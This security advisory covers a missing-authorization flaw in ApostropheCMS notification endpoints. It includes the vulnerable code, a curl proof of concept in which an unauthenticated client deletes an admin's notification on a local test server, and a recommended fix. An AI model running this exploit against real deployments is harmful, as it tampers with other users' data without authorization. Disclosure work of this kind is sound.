CVE-2026-113665: ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints
Summary The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.
Published Oct 20, 2026
Affected packages
apostrophe
- Ecosystem
- npm
- Affected
- < 4.33.0
- Fixed in
- 4.33.0
- Check
npm ls apostrophe
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.
As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.
---
Affected Code
File
packages/apostrophe/modules/@apostrophecms/notification/index.js// restApiRoutes
async patch(req, _id) {
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
await self.db.updateOne(
{ _id },
{
$set: { dismissed },
$currentDate: { updatedAt: true }
}
);
}
},
async delete(req, _id) {
await self.db.deleteMany({ _id });
}Unlike the GET notification route, these handlers do not verify:
- Authentication (
req.user) - Ownership (
userId === req.user._id) - Authorization or permissions
Instead, the supplied _id is used directly against the raw MongoDB collection.
---
Root Cause
The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.
While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.
For comparison, the GET notification route correctly checks:
if (!(req.user && req.user._id)) {
throw self.apos.error('invalid');
}No equivalent validation exists in the PATCH or DELETE handlers.
---
Proof of Concept
1. Log in as an administrator
curl -sS -c admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/null
curl -sS \
-b admin_cookies.txt \
-c admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/login/login \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"username":"admin",
"password":"AdminP@ssw0rd123!",
"session":true
}'---
2. Create a notification
curl -sS \
-b admin_cookies.txt \
-X POST \
http://localhost:4321/api/v1/@apostrophecms/notification \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: csrf" \
-d '{
"message":"manual verify test",
"type":"info"
}'Example response:
{
"noteId":"p358r7phi2w8l245ww5130uf"
}---
3. Verify the notification exists
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"Response:
{
"notifications":[
{
"_id":"p358r7phi2w8l245ww5130uf",
"userId":"i89h844o5n3nbreis0ugusum",
"message":"manual verify test"
}
],
"dismissed":[]
}---
4. Access the endpoint without authentication
Create a fresh cookie jar containing only the public CSRF cookie:
rm -f anon_cookies.txt
curl -sS \
-c anon_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/login/context" \
-o /dev/nullThen send the request without any authenticated session:
curl -i \
-b anon_cookies.txt \
-X DELETE \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \
-H "X-XSRF-TOKEN: csrf"Response:
HTTP/1.1 200 OK---
5. Verify the notification has been deleted
curl -sS \
-b admin_cookies.txt \
"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"Response:
{
"notifications":[],
"dismissed":[]
}The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.
---
Impact
An attacker who obtains a valid notification ID can:
- Delete another user's notifications.
- Mark another user's notifications as dismissed.
- Suppress security-related or administrative notifications.
The vulnerability primarily affects integrity.
Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.
---
Recommended Fix
Require authentication before processing any modification request.
Additionally, scope all database operations to the authenticated user.
Example:
// patch
async patch(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const dismissed = self.apos.launder.boolean(req.body.dismissed);
if (dismissed) {
await self.emit('beforeSave', req, { _id, dismissed });
const result = await self.db.updateOne(
{ _id, userId: req.user._id }, // <-- ownership check
{ $set: { dismissed }, $currentDate: { updatedAt: true } }
);
if (!result.matchedCount) {
throw self.apos.error('notfound');
}
}
},
// delete
async delete(req, _id) {
if (!req.user) {
throw self.apos.error('forbidden');
}
const result = await self.db.deleteMany({ _id, userId: req.user._id });
if (!result.deletedCount) {
throw self.apos.error('notfound');
}
}Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.
---
Recommendation
Every notification modification endpoint should:
- Require authentication.
- Verify ownership (
userId === req.user._id). - Return
403 Forbiddenfor unauthorized requests. - Avoid performing database operations solely using a user-controlled
_id.
The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.
Credited to Chittu13.
References
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe/releases/tag/[email protected]
- https://github.com/advisories/GHSA-vwwx-px9w-crrc
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-112951
ApostropheCMS: Color field validation bypass allows stored XSS via HTML appended after rgb()/hsl() prefix
medium5.4Oct 21, 2026CVE-2026-112952
ApostropheCMS: POST /api/v1/@apostrophecms/doc/slugTaken discloses existence of private/admin-only content to any authenticated user
medium4.3Oct 21, 2026CVE-2026-112954
ApostropheCMS: Unauthenticated publicApiProjection bypass via search and sort query builders in the public REST API
medium5.3Oct 21, 2026CVE-2026-112957
ApostropheCMS: GET /api/v1/@apostrophecms/page/:id bypasses viewRole restriction and exposes viewPermission-gated fields to lower-privileged users
medium4.3Oct 21, 2026CVE-2026-112958
ApostropheCMS: Stored XSS via Unescaped Widget Style Attribute Serialization
medium5.4Oct 21, 2026CVE-2026-113649
ApostropheCMS: Import API bypasses publication roles for protected content
medium6.5Oct 21, 2026
